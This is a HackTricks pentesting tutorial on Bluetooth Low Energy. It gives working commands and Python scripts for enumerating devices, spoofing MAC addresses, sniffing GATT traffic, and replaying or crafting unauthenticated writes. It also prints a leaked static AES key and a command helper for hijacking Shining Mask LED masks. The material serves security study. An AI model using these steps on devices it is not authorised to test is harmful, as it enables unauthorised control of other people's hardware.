Pentesting BLE - Bluetooth Low Energy
Reading time: 11 minutes
tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the š¬ Discord group or the telegram group or follow us on Twitter š¦ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Introduction
Available since the Bluetooth 4.0 specification, BLE uses only 40 channels, covering the range of 2400 to 2483.5 MHz. In contrast, traditional Bluetooth uses 79 channels in that same range.
BLE devices communicate is by sending advertising packets (beacons), these packets broadcast the BLE deviceās existence to other nearby devices. These beacons sometimes send data, too.
The listening device, also called a central device, can respond to an advertising packet with a SCAN request sent specifically to the advertising device. The response to that scan uses the same structure as the advertising packet with additional information that couldnāt fit on the initial advertising request, such as the full device name.
.png)
The preamble byte synchronizes the frequency, whereas the four-byte access address is a connection identifier, which is used in scenarios where multiple devices are trying to establish connections on the same channels. Next, the Protocol Data Unit (PDU) contains the advertising data. There are several types of PDU; the most commonly used are ADV_NONCONN_IND and ADV_IND. Devices use the ADV_NONCONN_IND PDU type if they donāt accept connections, transmitting data only in the advertising packet. Devices use ADV_IND if they allow connections and stop sending advertising packets once a connection has been established.
GATT
The Generic Attribute Profile (GATT) defines how the device should format and transfer data. When youāre analyzing a BLE deviceās attack surface, youāll often concentrate your attention on the GATT (or GATTs), because itās how device functionality gets triggered and how data gets stored, grouped, and modified. The GATT lists a deviceās characteristics, descriptors, and services in a table as either 16- or 32-bits values. A characteristic is a data value sent between the central device and peripheral. These characteristics can have descriptors that provide additional information about them. Characteristics are often grouped in services if theyāre related to performing a particular action.
Enumeration
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up
# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66
GATTool
GATTool allows to establish a connection with another device, listing that deviceās characteristics, and reading and writing its attributes.
GATTTool can launch an interactive shell with the -I option:
GATTTool interactive usage and examples
gatttool -i hci0 -I
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
[A4:CF:12:6C:B3:76][LE]> characteristics
handle: 0x0002, char properties: 0x20, char value handle:
0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb
handle: 0x0015, char properties: 0x02, char value handle:
0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb
[...]
# Write data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-write-req <characteristic handle> -n <value>
gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "04dc54d9053b4307680a"|xxd -ps)
# Read data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-read -a 0x16
# Read connecting with an authenticated encrypted connection
gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c
Bettercap
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported
# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
Sniffing and actively controlling unpaired BLE devices
Many low-cost BLE peripherals do not enforce pairing/bonding. Without bonding, the Link Layer encryption is never enabled, so ATT/GATT traffic is in cleartext. An off-path sniffer can follow the connection, decode GATT operations to learn characteristic handles and values, and any nearby host can then connect and replay those writes to control the device.
Sniffing with Sniffle (CC26x2/CC1352)
Hardware: a Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) re-flashed with NCC Groupās Sniffle firmware.
Install Sniffle and its Wireshark extcap on Linux:
Install Sniffle extcap (Linux)
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
sudo mkdir -p /opt/sniffle
sudo chown -R $USER:$USER /opt/sniffle
pushd /opt/sniffle
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
tar xvf v1.10.0.tar.gz
# Install Wireshark extcap for user and root only
mkdir -p $HOME/.local/lib/wireshark/extcap
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
sudo mkdir -p /root/.local/lib/wireshark/extcap
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
popd
else
echo "[+] - Sniffle already installed at 1.10.0"
fi
Flash Sonoff with Sniffle firmware (ensure your serial device matches, e.g. /dev/ttyUSB0):
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd
Capture in Wireshark via the Sniffle extcap and quickly pivot to state-changing writes by filtering:
_ws.col.info contains "Sent Write Command"
This highlights ATT Write Commands from the client; the handle and value often directly map to device actions (e.g., write 0x01 to a buzzer/alert characteristic, 0x00 to stop).
Sniffle CLI quick examples:
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap
Alternative sniffer: Nordicās nRF Sniffer for BLE + Wireshark plugin also works. On small/cheap Nordic dongles you typically overwrite the USB bootloader to load the sniffer firmware, so you either keep a dedicated sniffer dongle or need a J-Link/JTAG to restore the bootloader later.
Active control via GATT
Once youāve identified a writable characteristic handle and value from the sniffed traffic, connect as any central and issue the same write:
-
With Nordic nRF Connect for Desktop (BLE app):
- Select the nRF52/nRF52840 dongle, scan and connect to the target.
- Browse the GATT database, locate the target characteristic (often has a friendly name, e.g., Alert Level).
- Perform a Write with the sniffed bytes (e.g., 01 to trigger, 00 to stop).
-
Automate on Windows with a Nordic dongle using Python + blatann:
Python blatann write example (Windows + Nordic dongle)
import time
import blatann
# CONFIG
COM_PORT = "COM29" # Replace with your COM port
TARGET_MAC = "5B:B1:7F:47:A7:00" # Replace with your target MAC
target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")
# CONNECT
ble_device = blatann.BleDevice(COM_PORT)
ble_device.configure()
ble_device.open()
print(f"[-] Connecting to {TARGET_MAC}...")
peer = ble_device.connect(target_address).wait()
if not peer:
print("[!] Connection failed.")
ble_device.close()
raise SystemExit(1)
print("Connected. Discovering services...")
peer.discover_services().wait(5, exception_on_timeout=False)
# Example: write 0x01/0x00 to a known handle
for service in peer.database.services:
for ch in service.characteristics:
if ch.handle == 0x000b: # Replace with your handle
print("[!] Beeping.")
ch.write(b"\x01")
time.sleep(2)
print("[+] And relax.")
ch.write(b"\x00")
print("[-] Disconnecting...")
peer.disconnect()
peer.wait_for_disconnect()
ble_device.close()
Case study: hijacking BLE LED masks (Shining Mask family)
Cheap, whiteālabeled BLE LED masks controlled by the āShining Maskā app accept write control from any nearby central with no pairing/bonding. The app talks GATT to a command characteristic and a data characteristic; commands are AESāECB encrypted with a static key hardācoded in the app, while bulk image data is unencrypted.
Key UUIDs on these devices:
- Command write characteristic: d44bc439-abfd-45a2-b575-925416129600
- Notify characteristic: d44bc439-abfd-45a2-b575-925416129601
- Image data characteristic: d44bc439-abfd-45a2-b575-92541612960a
Unauthenticated GATT writes
- No pairing/bonding required. Any host can connect and write to the command UUID to change brightness, select images, start animations, etc.
- Common ops observed: LIGHT (brightness), IMAG (select index), DELE (delete indices), SPEED, ANIM, PLAY, CHEC (query count), DATS (begin upload).
Static-key AES command framing
- Frame = 1ābyte length, ASCII op (e.g., b"LIGHT"), args, pad to 16, AESāECB encrypt with static key from the app.
- Known static key (hex): 32672f7974ad43451d9c6c894a0e8764
Python helper to encrypt and send a command (example: set max brightness):
from Crypto.Cipher import AES
from binascii import unhexlify
KEY = unhexlify('32672f7974ad43451d9c6c894a0e8764')
def enc_cmd(op, args=b''):
body = bytes([len(op) + len(args)]) + op.encode() + args
body += b'\x00' * ((16 - (len(body) % 16)) % 16)
return AES.new(KEY, AES.MODE_ECB).encrypt(body)
packet = enc_cmd('LIGHT', b'\xff')
# Write 'packet' to d44bc439-abfd-45a2-b575-925416129600
Image upload flow
- After an encrypted DATS handshake, raw chunks are written unencrypted to the data characteristic ā¦960a.
- Packet format: [len][seq][payload]. Empirically ~100 bytes payload per packet works reliably.
Minimal image upload pseudo-code
# Start upload (encrypted): two bytes size, two bytes index, one toggle byte
img_index = b'\x01\x00' # index 1
img_size = (len(img_bytes)).to_bytes(2, 'big')
start = enc_cmd('DATS', img_size + img_index + b'\x01')
write_cmd_char(start) # expect DATSOK on notify char
# Stream raw chunks (unencrypted) to ...960a: [len][seq][payload]
seq = 0
CHUNK = 98 # data bytes per packet (ā100 total incl. len+seq)
for off in range(0, len(img_bytes), CHUNK):
chunk = img_bytes[off:off+CHUNK]
pkt = bytes([len(chunk)+1, seq & 0xff]) + chunk
write_data_char(pkt)
seq += 1
# Optionally signal completion if firmware expects it (e.g., DATCP)
Operational notes
- Prefer Sonoff+Sniffle on Linux for robust channel hopping and connection following. Keep a spare Nordic sniffer as a backup.
- Without pairing/bonding, any nearby attacker can observe writes and replay/craft their own to unauthenticated writable characteristics.
References
- Start hacking Bluetooth Low Energy today! (part 2) ā Pentest Partners
- Sniffle ā A sniffer for Bluetooth 5 and 4.x LE
- Firmware installation for Sonoff USB Dongle (Sniffle README)
- Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)
- Nordic nRF Sniffer for Bluetooth LE
- nRF Connect for Desktop
- blatann ā Python BLE library for Nordic devices
- Invasion of the Face Changers: Halloween Hijinks with Bluetooth LED Masks (Bishop Fox)
- Shining Mask BLE protocol notes (BrickCraftDream)
- Android Bluetooth HCI snoop logging
- Adafruit Feather nRF52840 Express
tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the š¬ Discord group or the telegram group or follow us on Twitter š¦ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
HackTricks